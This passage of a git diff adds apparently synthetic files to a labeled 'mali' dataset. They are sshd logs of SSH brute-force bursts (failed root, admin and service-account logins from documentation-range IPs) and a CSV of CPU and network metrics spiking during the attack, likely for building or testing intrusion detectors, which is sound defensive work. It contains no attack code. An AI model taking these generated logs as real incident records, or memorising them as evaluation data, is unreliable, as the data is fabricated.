29012 +Oct 05 08:36:07 sshd[12504]: Failed password for root from 198.51.100.11 port 15974 ssh2 +Oct 05 08:36:07 sshd[12504]: Failed password for sqladmin from 198.51.102.80 port 47454 ssh2 +Oct 05 08:36:07 sshd[12504]: Failed password for test from 198.51.100.11 port 30154 ssh2 +Oct 05 08:36:07 sshd[12504]: Failed password for ubuntu from 198.51.101.25 port 11011 ssh2 +Oct 05 08:36:08 sshd[12504]: Failed password for admin from 198.51.100.10 port 62490 ssh2 +Oct 05 08:36:08 sshd[12504]: Failed password for invalid user user from 198.51.100.11 port 42789 +Oct 05 08:36:09 sshd[12504]: Failed password for invalid user root from 198.51.101.25 port 51847 +Oct 05 08:36:09 sshd[12504]: Failed password for service from 198.51.100.11 port 60428 ssh2 +Oct 05 08:36:10 sshd[20264]: Failed password for invalid user root from 198.51.100.11 port 17553 +Oct 05 08:36:11 sshd[20264]: Failed password for backup from 198.51.100.11 port 39067 ssh2 +Oct 05 08:36:11 sshd[20264]: Failed password for invalid user admin from 198.51.102.80 port 16000 +Oct 05 08:36:11 sshd[20264]: Failed password for sqladmin from 198.51.101.25 port 16618 ssh2 +Oct 05 08:36:12 sshd[20264]: Failed password for invalid user service from 198.51.101.25 port 47319 +Oct 05 08:36:12 sshd[20264]: Failed password for root from 198.51.101.25 port 31209 ssh2 +Oct 05 08:36:12 sshd[20264]: Failed password for user from 198.51.102.80 port 40621 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for ec2-user from 198.51.100.10 port 18121 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for ec2-user from 198.51.100.10 port 63077 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for ftpuser from 198.51.100.11 port 60582 ssh2 +Oct 05 08:36:13 sshd[20264]: Failed password for invalid user root from 198.51.101.25 port 45226 +Oct 05 08:36:13 sshd[20264]: Failed password for invalid user sqladmin from 198.51.100.10 port 46579 +Oct 05 08:36:13 sshd[20264]: Failed password for invalid user webmaster from 198.51.100.10 port 38768 +Oct 05 08:36:14 sshd[20264]: Failed password for guest from 198.51.100.11 port 44825 ssh2 +Oct 05 08:36:14 sshd[20264]: Failed password for invalid user ftpuser from 198.51.101.25 port 21738 +Oct 05 08:36:14 sshd[20264]: Failed password for invalid user postgres from 198.51.102.80 port 56605 +Oct 05 08:36:14 sshd[20264]: Failed password for mssql from 198.51.100.10 port 12254 ssh2 +Oct 05 08:36:15 sshd[27883]: Failed password for ec2-user from 198.51.100.11 port 62681 ssh2 +Oct 05 08:36:15 sshd[27883]: Failed password for invalid user service from 198.51.101.25 port 58677 +Oct 05 08:36:15 sshd[27883]: Failed password for invalid user webmaster from 198.51.102.80 port 52691 +Oct 05 08:36:16 sshd[27883]: Failed password for invalid user root from 198.51.100.10 port 55218 +Oct 05 08:36:16 sshd[27883]: Failed password for invalid user user from 198.51.100.10 port 23005 +Oct 05 08:36:16 sshd[27883]: Failed password for oracle from 198.51.100.11 port 61305 ssh2 +Oct 05 08:36:16 sshd[27883]: Failed password for ubuntu from 198.51.100.11 port 33685 ssh2 +Oct 05 08:36:16 sshd[27883]: Failed password for user from 198.51.100.11 port 37846 ssh2 +Oct 05 08:36:17 sshd[27883]: Failed password for invalid user ftpuser from 198.51.100.11 port 12818 +Oct 05 08:36:17 sshd[27883]: Failed password for invalid user guest from 198.51.101.25 port 37908 +Oct 05 08:36:18 sshd[27883]: Failed password for backup from 198.51.100.10 port 21442 ssh2 +Oct 05 08:36:18 sshd[27883]: Failed password for invalid user mssql from 198.51.101.25 port 16289 +Oct 05 08:36:18 sshd[27883]: Failed password for sqladmin from 198.51.100.11 port 34819 ssh2 +Oct 05 08:36:18 sshd[27883]: Failed password for test from 198.51.102.80 port 23868 ssh2 +Oct 05 08:36:19 sshd[27883]: Failed password for ec2-user from 198.51.101.25 port 36396 ssh2 +Oct 05 08:36:19 sshd[27883]: Failed password for postgres from 198.51.102.80 port 27000 ssh2 +Oct 05 08:36:20 sshd[23625]: Failed password for invalid user root from 198.51.101.25 port 44439 +Oct 05 08:36:20 sshd[23625]: Failed password for ubuntu from 198.51.101.25 port 26141 ssh2 +Oct 05 08:36:21 sshd[23625]: Failed password for invalid user admin from 198.51.100.10 port 59587 +Oct 05 08:36:21 sshd[23625]: Failed password for invalid user guest from 198.51.100.10 port 62212 +Oct 05 08:36:21 sshd[23625]: Failed password for root from 198.51.100.11 port 58758 ssh2 +Oct 05 08:36:22 sshd[23625]: Failed password for invalid user backup from 198.51.100.10 port 27672 +Oct 05 08:36:23 sshd[23625]: Failed password for invalid user ftpuser from 198.51.101.25 port 17906 +Oct 05 08:36:23 sshd[23625]: Failed password for invalid user guest from 198.51.102.80 port 49522 +Oct 05 08:36:23 sshd[23625]: Failed password for invalid user ubuntu from 198.51.100.11 port 25639 +Oct 05 08:36:23 sshd[23625]: Failed password for ubuntu from 198.51.100.11 port 48705 ssh2 +Oct 05 08:36:23 sshd[23625]: Failed password for webmaster from 198.51.102.80 port 51574 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for admin from 198.51.100.11 port 57370 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for backup from 198.51.100.10 port 60005 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for ftpuser from 198.51.100.10 port 59730 ssh2 +Oct 05 08:36:24 sshd[23625]: Failed password for invalid user sqladmin from 198.51.101.25 port 41679 +Oct 05 08:36:25 sshd[19921]: Failed password for invalid user backup from 198.51.100.10 port 30997 +Oct 05 08:36:26 sshd[19921]: Failed password for invalid user ubuntu from 198.51.102.80 port 24097 +Oct 05 08:36:27 sshd[19921]: Failed password for ftpuser from 198.51.102.80 port 51625 ssh2 +Oct 05 08:36:27 sshd[19921]: Failed password for invalid user service from 198.51.100.11 port 52416 +Oct 05 08:36:28 sshd[19921]: Failed password for invalid user ec2-user from 198.51.102.80 port 29851 +Oct 05 08:36:28 sshd[19921]: Failed password for root from 198.51.101.25 port 39155 ssh2 +Oct 05 08:36:28 sshd[19921]: Failed password for sqladmin from 198.51.100.11 port 28888 ssh2 +Oct 05 08:36:28 sshd[19921]: Failed password for test from 198.51.100.10 port 18504 ssh2 +Oct 05 08:36:28 sshd[19921]: Failed password for user from 198.51.100.10 port 37384 ssh2 +Oct 05 08:36:29 sshd[19921]: Failed password for service from 198.51.101.25 port 36651 ssh2 +Oct 05 08:36:30 sshd[1616]: Failed password for invalid user mssql from 198.51.100.11 port 13956 +Oct 05 08:36:31 sshd[1616]: Failed password for invalid user sqladmin from 198.51.100.11 port 19362 +Oct 05 08:36:32 sshd[1616]: Failed password for invalid user mssql from 198.51.102.80 port 27024 +Oct 05 08:36:32 sshd[1616]: Failed password for invalid user webmaster from 198.51.102.80 port 16649 +Oct 05 08:36:33 sshd[1616]: Failed password for admin from 198.51.101.25 port 59338 ssh2 +Oct 05 08:36:33 sshd[1616]: Failed password for admin from 198.51.102.80 port 58239 ssh2 +Oct 05 08:36:33 sshd[1616]: Failed password for invalid user ftpuser from 198.51.100.10 port 39786 +Oct 05 08:36:33 sshd[1616]: Failed password for invalid user service from 198.51.100.11 port 52222 +Oct 05 08:36:34 sshd[1616]: Failed password for guest from 198.51.100.11 port 43950 ssh2 +Oct 05 08:36:34 sshd[1616]: Failed password for invalid user admin from 198.51.102.80 port 12712 +Oct 05 08:36:34 sshd[1616]: Failed password for postgres from 198.51.102.80 port 46469 ssh2 +Oct 05 08:36:34 sshd[1616]: Failed password for test from 198.51.102.80 port 60463 ssh2 +Oct 05 08:36:34 sshd[1616]: Failed password for ubuntu from 198.51.100.10 port 16643 ssh2 +Oct 05 08:36:35 sshd[18508]: Failed password for invalid user admin from 198.51.100.10 port 29342 +Oct 05 08:36:35 sshd[18508]: Failed password for invalid user ubuntu from 198.51.101.25 port 49187 +Oct 05 08:36:35 sshd[18508]: Failed password for test from 198.51.102.80 port 16961 ssh2 +Oct 05 08:36:36 sshd[18508]: Failed password for invalid user sqladmin from 198.51.100.10 port 28370 +Oct 05 08:36:37 sshd[18508]: Failed password for invalid user mssql from 198.51.101.25 port 49195 +Oct 05 08:36:37 sshd[18508]: Failed password for postgres from 198.51.101.25 port 53557 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for guest from 198.51.100.10 port 62132 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for invalid user user from 198.51.102.80 port 55556 +Oct 05 08:36:38 sshd[18508]: Failed password for postgres from 198.51.100.10 port 44840 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for sqladmin from 198.51.102.80 port 11470 ssh2 +Oct 05 08:36:38 sshd[18508]: Failed password for ubuntu from 198.51.100.10 port 10551 ssh2 +Oct 05 08:36:39 sshd[18508]: Failed password for backup from 198.51.101.25 port 42359 ssh2 +Oct 05 08:36:39 sshd[18508]: Failed password for invalid user guest from 198.51.100.10 port 37686 +Oct 05 08:36:39 sshd[18508]: Failed password for invalid user webmaster from 198.51.101.25 port 16595 +Oct 05 08:36:39 sshd[18508]: Failed password for test from 198.51.102.80 port 49313 ssh2 +Oct 05 08:36:40 CRON[6449]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) diff --git a/mali_dataset/scenario_7/mali_7_4.csv b/mali_dataset/scenario_7/mali_7_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c6a022ad61e5b2c2ec0e10665611029eea088ed --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-11-12T22:15:00Z,13.62,33.05,15.41,1.19,1.04 +2025-11-12T22:15:05Z,6.38,35.3,18.19,0.9,1.39 +2025-11-12T22:15:10Z,5.07,36.64,16.35,0.62,1.1 +2025-11-12T22:15:15Z,9.54,32.58,17.58,1.48,1.09 +2025-11-12T22:15:20Z,10.76,32.58,21.55,1.21,0.85 +2025-11-12T22:15:25Z,14.51,36.1,22.3,1.43,1.32 +2025-11-12T22:15:30Z,7.04,32.75,12.72,0.99,1.62 +2025-11-12T22:15:35Z,14.16,32.76,17.17,0.63,1.85 +2025-11-12T22:15:40Z,6.02,34.94,13.5,0.91,0.75 +2025-11-12T22:15:45Z,8.39,30.24,22.54,0.75,1.73 +2025-11-12T22:15:50Z,10.23,32.68,10.61,0.57,1.05 +2025-11-12T22:15:55Z,12.59,34.64,19.9,1.44,1.02 +2025-11-12T22:16:00Z,5.3,32.76,12.23,0.92,0.75 +2025-11-12T22:16:05Z,8.35,30.44,14.26,1.49,1.53 +2025-11-12T22:16:10Z,12.78,36.76,23.76,1.07,1.88 +2025-11-12T22:16:15Z,8.18,32.49,23.23,1.34,1.3 +2025-11-12T22:16:20Z,12.09,34.48,12.14,0.9,1.12 +2025-11-12T22:16:25Z,5.89,37.56,15.4,0.75,0.52 +2025-11-12T22:16:30Z,5.57,35.04,17.48,0.94,1.83 +2025-11-12T22:16:35Z,6.94,32.22,12.71,1.32,0.63 +2025-11-12T22:16:40Z,8.85,36.64,12.01,19.28,2.89 +2025-11-12T22:16:45Z,14.55,38.52,22.18,13.58,1.56 +2025-11-12T22:16:50Z,18.43,32.76,10.98,26.49,1.93 +2025-11-12T22:16:55Z,20.28,31.25,22.62,26.59,2.49 +2025-11-12T22:17:00Z,23.63,31.44,20.63,23.35,2.69 +2025-11-12T22:17:05Z,28.86,34.73,19.43,19.23,2.43 +2025-11-12T22:17:10Z,31.54,36.85,19.6,16.58,2.12 +2025-11-12T22:17:15Z,42.46,39.28,23.46,25.03,1.88 +2025-11-12T22:17:20Z,46.57,38.58,21.11,22.07,2.38 +2025-11-12T22:17:25Z,47.07,30.66,24.56,18.1,1.97 +2025-11-12T22:17:30Z,55.23,39.56,18.02,13.72,3.19 +2025-11-12T22:17:35Z,59.97,36.05,18.02,21.05,1.94 +2025-11-12T22:17:40Z,57.9,34.31,14.88,28.97,1.94 +2025-11-12T22:17:45Z,62.91,39.0,18.43,23.97,3.03 +2025-11-12T22:17:50Z,62.01,34.7,20.1,24.31,2.55 +2025-11-12T22:17:55Z,66.0,39.03,16.41,24.7,2.62 +2025-11-12T22:18:00Z,73.09,35.6,24.87,11.46,2.32 +2025-11-12T22:18:05Z,72.81,39.32,19.67,10.34,2.67 +2025-11-12T22:18:10Z,77.71,35.87,12.68,13.67,2.08 +2025-11-12T22:18:15Z,80.97,32.38,15.65,25.86,2.56 +2025-11-12T22:18:20Z,77.54,37.78,15.8,29.64,1.63 +2025-11-12T22:18:25Z,83.34,31.54,11.02,28.1,3.1 +2025-11-12T22:18:30Z,86.69,36.11,20.73,25.38,2.61 +2025-11-12T22:18:35Z,83.24,30.04,19.21,28.38,1.87 +2025-11-12T22:18:40Z,84.59,34.49,24.09,12.76,2.26 +2025-11-12T22:18:45Z,84.34,37.17,22.72,12.52,3.35 +2025-11-12T22:18:50Z,84.12,37.86,15.44,10.19,2.65 +2025-11-12T22:18:55Z,82.02,39.49,11.76,26.32,2.03 +2025-11-12T22:19:00Z,87.62,38.66,12.11,19.12,2.17 +2025-11-12T22:19:05Z,85.64,30.63,16.23,19.06,3.35 +2025-11-12T22:19:10Z,88.63,38.9,10.58,19.47,2.31 +2025-11-12T22:19:15Z,78.64,38.08,12.11,16.25,2.05 +2025-11-12T22:19:20Z,83.91,34.11,14.89,19.77,1.98 +2025-11-12T22:19:25Z,83.09,34.07,17.62,10.24,1.7 +2025-11-12T22:19:30Z,79.75,38.31,20.37,17.13,1.93 +2025-11-12T22:19:35Z,79.94,37.37,23.71,22.13,2.24 +2025-11-12T22:19:40Z,80.1,33.61,10.63,17.55,2.6 +2025-11-12T22:19:45Z,77.16,33.36,10.74,24.11,2.31 +2025-11-12T22:19:50Z,66.58,34.84,16.82,20.18,2.78 +2025-11-12T22:19:55Z,66.54,31.06,16.76,18.61,2.55 +2025-11-12T22:20:00Z,69.77,32.68,12.11,20.86,2.61 +2025-11-12T22:20:05Z,64.47,31.04,12.24,19.85,3.11 +2025-11-12T22:20:10Z,58.66,33.6,11.72,15.66,1.82 +2025-11-12T22:20:15Z,56.55,34.83,15.15,17.64,2.36 +2025-11-12T22:20:20Z,53.99,31.17,23.19,24.51,1.22 +2025-11-12T22:20:25Z,48.55,38.05,10.55,20.01,1.93 +2025-11-12T22:20:30Z,48.75,35.77,22.84,18.01,1.92 +2025-11-12T22:20:35Z,41.01,38.54,13.93,18.81,1.75 +2025-11-12T22:20:40Z,36.86,31.76,18.37,22.66,2.72 +2025-11-12T22:20:45Z,29.67,34.72,22.67,20.57,1.8 +2025-11-12T22:20:50Z,30.35,32.91,22.04,26.31,2.18 +2025-11-12T22:20:55Z,21.12,34.63,10.95,15.25,2.49 +2025-11-12T22:21:00Z,19.76,31.14,14.63,25.58,2.47 +2025-11-12T22:21:05Z,15.43,34.81,17.1,27.3,2.32 +2025-11-12T22:21:10Z,5.49,31.19,13.14,28.6,2.86 +2025-11-12T22:21:15Z,9.4,31.36,24.78,0.88,0.81 +2025-11-12T22:21:20Z,13.66,39.4,10.61,0.74,1.25 +2025-11-12T22:21:25Z,10.48,33.23,17.75,1.13,0.71 +2025-11-12T22:21:30Z,9.6,30.55,15.24,0.86,1.53 +2025-11-12T22:21:35Z,13.4,37.56,17.58,1.19,0.75 +2025-11-12T22:21:40Z,7.19,36.64,17.45,1.47,1.55 +2025-11-12T22:21:45Z,8.93,31.62,10.02,0.58,0.79 +2025-11-12T22:21:50Z,13.39,33.13,13.0,1.02,0.85 +2025-11-12T22:21:55Z,5.51,37.83,18.89,0.73,1.51 +2025-11-12T22:22:00Z,8.9,34.3,21.81,1.18,0.78 +2025-11-12T22:22:05Z,9.51,37.07,23.99,0.82,0.95 +2025-11-12T22:22:10Z,9.85,37.79,23.37,1.4,1.29 +2025-11-12T22:22:15Z,9.58,34.33,13.71,0.52,1.21 +2025-11-12T22:22:20Z,8.9,30.86,16.43,1.15,1.17 +2025-11-12T22:22:25Z,12.49,30.95,16.92,0.61,0.89 diff --git a/mali_dataset/scenario_7/mali_7_4.log b/mali_dataset/scenario_7/mali_7_4.log new file mode 100644 index 0000000000000000000000000000000000000000..c6257fec6aa1fd6aa4c3fd851357dc63c1058048 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_4.log @@ -0,0 +1,757 @@ +Nov 12 22:15:00 CRON[5663]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Nov 12 22:15:50 sshd[23337]: Accepted publickey for sys-monitor from 10.0.8.12 port 49152 ssh2 +Nov 12 22:16:15 sshd[9299]: Received disconnect from 10.0.8.12 port 49152:11: disconnected by user +Nov 12 22:16:40 CRON[18836]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Nov 12 22:16:40 sshd[18936]: Failed password for admin from 192.0.2.123 port 29810 ssh2 +Nov 12 22:16:40 sshd[18936]: Failed password for ec2-user from 192.0.2.123 port 20963 ssh2 +Nov 12 22:16:40 sshd[18936]: Failed password for invalid user test from 192.0.2.123 port 32779 +Nov 12 22:16:41 sshd[18936]: Failed password for invalid user ftpuser from 192.0.2.123 port 62079 +Nov 12 22:16:41 sshd[18936]: Failed password for invalid user oracle from 192.0.2.123 port 13812 +Nov 12 22:16:41 sshd[18936]: Failed password for invalid user test from 192.0.2.123 port 13253 +Nov 12 22:16:42 sshd[18936]: Failed password for ftpuser from 192.0.2.123 port 13805 ssh2 +Nov 12 22:16:42 sshd[18936]: Failed password for service from 192.0.2.123 port 28614 ssh2 +Nov 12 22:16:43 sshd[18936]: Failed password for user from 192.0.2.123 port 50003 ssh2 +Nov 12 22:16:44 sshd[18936]: Failed password for invalid user service from 192.0.2.123 port 36161 +Nov 12 22:16:44 sshd[18936]: Failed password for invalid user service from 192.0.2.123 port 36379 +Nov 12 22:16:44 sshd[18936]: Failed password for invalid user service from 192.0.2.123 port 37464 +Nov 12 22:16:44 sshd[18936]: Failed password for test from 192.0.2.123 port 50882 ssh2 +Nov 12 22:16:44 sshd[18936]: Failed password for user from 192.0.2.123 port 46582 ssh2 +Nov 12 22:16:45 sshd[13979]: Failed password for backup from 192.0.2.123 port 18306 ssh2 +Nov 12 22:16:45 sshd[13979]: Failed password for invalid user root from 192.0.2.123 port 63755 +Nov 12 22:16:46 sshd[13979]: Failed password for invalid user ec2-user from 192.0.2.123 port 15661 +Nov 12 22:16:46 sshd[13979]: Failed password for invalid user postgres from 192.0.2.123 port 10096 +Nov 12 22:16:46 sshd[13979]: Failed password for root from 192.0.2.123 port 37681 ssh2 +Nov 12 22:16:47 sshd[13979]: Failed password for backup from 192.0.2.123 port 64169 ssh2 +Nov 12 22:16:47 sshd[13979]: Failed password for invalid user oracle from 192.0.2.123 port 62635 +Nov 12 22:16:47 sshd[13979]: Failed password for mssql from 192.0.2.123 port 22071 ssh2 +Nov 12 22:16:47 sshd[13979]: Failed password for mssql from 192.0.2.123 port 30397 ssh2 +Nov 12 22:16:48 sshd[13979]: Failed password for invalid user guest from 192.0.2.123 port 32434 +Nov 12 22:16:48 sshd[13979]: Failed password for test from 192.0.2.123 port 45975 ssh2 +Nov 12 22:16:49 sshd[13979]: Failed password for invalid user guest from 192.0.2.123 port 38327 +Nov 12 22:16:49 sshd[13979]: Failed password for invalid user oracle from 192.0.2.123 port 50886 +Nov 12 22:16:49 sshd[13979]: Failed password for invalid user service from 192.0.2.123 port 50797 +Nov 12 22:16:50 sshd[13720]: Failed password for backup from 192.0.2.123 port 47878 ssh2 +Nov 12 22:16:50 sshd[13720]: Failed password for guest from 192.0.2.123 port 17007 ssh2 +Nov 12 22:16:50 sshd[13720]: Failed password for invalid user ec2-user from 192.0.2.123 port 60431 +Nov 12 22:16:50 sshd[13720]: Failed password for invalid user webmaster from 192.0.2.123 port 47176 +Nov 12 22:16:50 sshd[13720]: Failed password for mssql from 192.0.2.123 port 31968 ssh2 +Nov 12 22:16:50 sshd[13720]: Failed password for user from 192.0.2.123 port 60051 ssh2 +Nov 12 22:16:51 sshd[13720]: Failed password for admin from 192.0.2.123 port 47563 ssh2 +Nov 12 22:16:51 sshd[13720]: Failed password for webmaster from 192.0.2.123 port 33824 ssh2 +Nov 12 22:16:52 sshd[13720]: Failed password for ftpuser from 192.0.2.123 port 56750 ssh2 +Nov 12 22:16:52 sshd[13720]: Failed password for root from 192.0.2.123 port 48468 ssh2 +Nov 12 22:16:53 sshd[13720]: Failed password for ftpuser from 192.0.2.123 port 65518 ssh2 +Nov 12 22:16:53 sshd[13720]: Failed password for invalid user user from 192.0.2.123 port 32389 +Nov 12 22:16:53 sshd[13720]: Failed password for webmaster from 192.0.2.123 port 29874 ssh2 +Nov 12 22:16:54 sshd[13720]: Failed password for admin from 192.0.2.123 port 46302 ssh2 +Nov 12 22:16:54 sshd[13720]: Failed password for ftpuser from 192.0.2.123 port 51341 ssh2 +Nov 12 22:16:54 sshd[13720]: Failed password for invalid user sqladmin from 192.0.2.123 port 23731 +Nov 12 22:16:54 sshd[13720]: Failed password for root from 192.0.2.123 port 51704 ssh2 +Nov 12 22:16:55 sshd[29488]: Failed password for backup from 192.0.2.123 port 21328 ssh2 +Nov 12 22:16:55 sshd[29488]: Failed password for invalid user ftpuser from 192.0.2.123 port 49042 +Nov 12 22:16:55 sshd[29488]: Failed password for invalid user mssql from 192.0.2.123 port 64954 +Nov 12 22:16:55 sshd[29488]: Failed password for invalid user postgres from 192.0.2.123 port 44360 +Nov 12 22:16:55 sshd[29488]: Failed password for invalid user postgres from 192.0.2.123 port 50144 +Nov 12 22:16:55 sshd[29488]: Failed password for invalid user test from 192.0.2.123 port 47545 +Nov 12 22:16:55 sshd[29488]: Failed password for invalid user ubuntu from 192.0.2.123 port 58478 +Nov 12 22:16:55 sshd[29488]: Failed password for postgres from 192.0.2.123 port 44929 ssh2 +Nov 12 22:16:55 sshd[29488]: Failed password for service from 192.0.2.123 port 48123 ssh2 +Nov 12 22:16:56 sshd[29488]: Failed password for ec2-user from 192.0.2.123 port 30310 ssh2 +Nov 12 22:16:56 sshd[29488]: Failed password for ec2-user from 192.0.2.123 port 33508 ssh2 +Nov 12 22:16:56 sshd[29488]: Failed password for ubuntu from 192.0.2.123 port 64146 ssh2 +Nov 12 22:16:57 sshd[29488]: Failed password for backup from 192.0.2.123 port 62685 ssh2 +Nov 12 22:16:57 sshd[29488]: Failed password for invalid user webmaster from 192.0.2.123 port 44540 +Nov 12 22:16:58 sshd[29488]: Failed password for invalid user guest from 192.0.2.123 port 59800 +Nov 12 22:16:58 sshd[29488]: Failed password for invalid user sqladmin from 192.0.2.123 port 17517 +Nov 12 22:16:58 sshd[29488]: Failed password for ubuntu from 192.0.2.123 port 34888 ssh2 +Nov 12 22:16:59 sshd[29488]: Failed password for invalid user oracle from 192.0.2.123 port 35576 +Nov 12 22:17:00 sshd[22830]: Failed password for invalid user mssql from 192.0.2.123 port 55705 +Nov 12 22:17:00 sshd[22830]: Failed password for invalid user service from 192.0.2.123 port 46383 +Nov 12 22:17:00 sshd[22830]: Failed password for invalid user test from 192.0.2.123 port 10138 +Nov 12 22:17:00 sshd[22830]: Failed password for test from 192.0.2.123 port 44423 ssh2 +Nov 12 22:17:01 sshd[22830]: Failed password for invalid user admin from 192.0.2.123 port 49649 +Nov 12 22:17:01 sshd[22830]: Failed password for invalid user ubuntu from 192.0.2.123 port 22311 +Nov 12 22:17:02 sshd[22830]: Failed password for backup from 192.0.2.123 port 42880 ssh2 +Nov 12 22:17:02 sshd[22830]: Failed password for invalid user ec2-user from 192.0.2.123 port 37889 +Nov 12 22:17:02 sshd[22830]: Failed password for invalid user service from 192.0.2.123 port 48039 +Nov 12 22:17:02 sshd[22830]: Failed password for invalid user user from 192.0.2.123 port 26467 +Nov 12 22:17:02 sshd[22830]: Failed password for root from 192.0.2.123 port 21100 ssh2 +Nov 12 22:17:03 sshd[22830]: Failed password for ec2-user from 192.0.2.123 port 20916 ssh2 +Nov 12 22:17:04 sshd[22830]: Failed password for invalid user guest from 192.0.2.123 port 27832 +Nov 12 22:17:04 sshd[22830]: Failed password for invalid user ubuntu from 192.0.2.123 port 45680 +Nov 12 22:17:04 sshd[22830]: Failed password for invalid user user from 192.0.2.123 port 20305 +Nov 12 22:17:04 sshd[22830]: Failed password for webmaster from 192.0.2.123 port 47139 ssh2 +Nov 12 22:17:05 sshd[1056]: Failed password for oracle from 192.0.2.123 port 26149 ssh2 +Nov 12 22:17:05 sshd[1056]: Failed password for postgres from 192.0.2.123 port 38077 ssh2 +Nov 12 22:17:05 sshd[1056]: Failed password for service from 192.0.2.123 port 63705 ssh2 +Nov 12 22:17:05 sshd[1056]: Failed password for test from 192.0.2.123 port 64404 ssh2 +Nov 12 22:17:06 sshd[1056]: Failed password for invalid user test from 192.0.2.123 port 64994 +Nov 12 22:17:06 sshd[1056]: Failed password for invalid user ubuntu from 192.0.2.123 port 14496 +Nov 12 22:17:06 sshd[1056]: Failed password for sqladmin from 192.0.2.123 port 34048 ssh2 +Nov 12 22:17:07 sshd[1056]: Failed password for invalid user mssql from 192.0.2.123 port 29736 +Nov 12 22:17:07 sshd[1056]: Failed password for invalid user service from 192.0.2.123 port 22812 +Nov 12 22:17:07 sshd[1056]: Failed password for invalid user user from 192.0.2.123 port 46246 +Nov 12 22:17:07 sshd[1056]: Failed password for sqladmin from 192.0.2.123 port 20494 ssh2 +Nov 12 22:17:07 sshd[1056]: Failed password for webmaster from 192.0.2.123 port 38651 ssh2 +Nov 12 22:17:08 sshd[1056]: Failed password for invalid user ftpuser from 192.0.2.123 port 46828 +Nov 12 22:17:08 sshd[1056]: Failed password for invalid user mssql from 192.0.2.123 port 36941 +Nov 12 22:17:08 sshd[1056]: Failed password for root from 192.0.2.123 port 64913 ssh2 +Nov 12 22:17:08 sshd[1056]: Failed password for sqladmin from 192.0.2.123 port 36129 ssh2 +Nov 12 22:17:09 sshd[1056]: Failed password for invalid user backup from 192.0.2.123 port 55295 +Nov 12 22:17:09 sshd[1056]: Failed password for invalid user sqladmin from 192.0.2.123 port 52400 +Nov 12 22:17:09 sshd[1056]: Failed password for postgres from 192.0.2.123 port 45509 ssh2 +Nov 12 22:17:09 sshd[1056]: Failed password for service from 192.0.2.123 port 51479 ssh2 +Nov 12 22:17:10 sshd[9925]: Failed password for root from 192.0.2.123 port 30841 ssh2 +Nov 12 22:17:10 sshd[9925]: Failed password for service from 192.0.2.123 port 47537 ssh2 +Nov 12 22:17:10 sshd[9925]: Failed password for ubuntu from 192.0.2.123 port 52560 ssh2 +Nov 12 22:17:11 sshd[9925]: Failed password for invalid user sqladmin from 192.0.2.123 port 31196 +Nov 12 22:17:11 sshd[9925]: Failed password for ubuntu from 192.0.2.123 port 16244 ssh2 +Nov 12 22:17:12 sshd[9925]: Failed password for invalid user oracle from 192.0.2.123 port 57162 +Nov 12 22:17:12 sshd[9925]: Failed password for webmaster from 192.0.2.123 port 48393 ssh2 +Nov 12 22:17:13 sshd[9925]: Failed password for invalid user ubuntu from 192.0.2.123 port 32536 +Nov 12 22:17:13 sshd[9925]: Failed password for mssql from 192.0.2.123 port 19135 ssh2 +Nov 12 22:17:14 sshd[9925]: Failed password for invalid user oracle from 192.0.2.123 port 36915 +Nov 12 22:17:14 sshd[9925]: Failed password for webmaster from 192.0.2.123 port 36910 ssh2 +Nov 12 22:17:15 sshd[23540]: Failed password for invalid user ec2-user from 192.0.2.123 port 40356 +Nov 12 22:17:17 sshd[23540]: Failed password for invalid user ftpuser from 192.0.2.123 port 35914 +Nov 12 22:17:17 sshd[23540]: Failed password for invalid user root from 192.0.2.123 port 24056 +Nov 12 22:17:17 sshd[23540]: Failed password for invalid user root from 192.0.2.123 port 35423 +Nov 12 22:17:17 sshd[23540]: Failed password for invalid user service from 192.0.2.123 port 46171 +Nov 12 22:17:18 sshd[23540]: Failed password for guest from 192.0.2.123 port 26172 ssh2 +Nov 12 22:17:18 sshd[23540]: Failed password for invalid user ftpuser from 192.0.2.123 port 33473 +Nov 12 22:17:18 sshd[23540]: Failed password for invalid user mssql from 192.0.2.123 port 39752 +Nov 12 22:17:19 sshd[23540]: Failed password for mssql from 192.0.2.123 port 30136 ssh2 +Nov 12 22:17:19 sshd[23540]: Failed password for test from 192.0.2.123 port 61201 ssh2 +Nov 12 22:17:20 sshd[29448]: Failed password for invalid user backup from 192.0.2.123 port 22264 +Nov 12 22:17:20 sshd[29448]: Failed password for invalid user backup from 192.0.2.123 port 35306 +Nov 12 22:17:20 sshd[29448]: Failed password for invalid user test from 192.0.2.123 port 40437 +Nov 12 22:17:20 sshd[29448]: Failed password for invalid user ubuntu from 192.0.2.123 port 56421 +Nov 12 22:17:20 sshd[29448]: Failed password for invalid user webmaster from 192.0.2.123 port 49372 +Nov 12 22:17:20 sshd[29448]: Failed password for invalid user webmaster from 192.0.2.123 port 49892 +Nov 12 22:17:21 sshd[29448]: Failed password for ec2-user from 192.0.2.123 port 56720 ssh2 +Nov 12 22:17:22 sshd[29448]: Failed password for invalid user ftpuser from 192.0.2.123 port 64535 +Nov 12 22:17:22 sshd[29448]: Failed password for invalid user oracle from 192.0.2.123 port 10206 +Nov 12 22:17:22 sshd[29448]: Failed password for root from 192.0.2.123 port 28507 ssh2 +Nov 12 22:17:22 sshd[29448]: Failed password for test from 192.0.2.123 port 47941 ssh2 +Nov 12 22:17:22 sshd[29448]: Failed password for ubuntu from 192.0.2.123 port 49973 ssh2 +Nov 12 22:17:23 sshd[29448]: Failed password for invalid user sqladmin from 192.0.2.123 port 57870 +Nov 12 22:17:24 sshd[29448]: Failed password for invalid user admin from 192.0.2.123 port 19099 +Nov 12 22:17:24 sshd[29448]: Failed password for mssql from 192.0.2.123 port 63666 ssh2 +Nov 12 22:17:24 sshd[29448]: Failed password for oracle from 192.0.2.123 port 44315 ssh2 +Nov 12 22:17:25 sshd[9166]: Failed password for invalid user root from 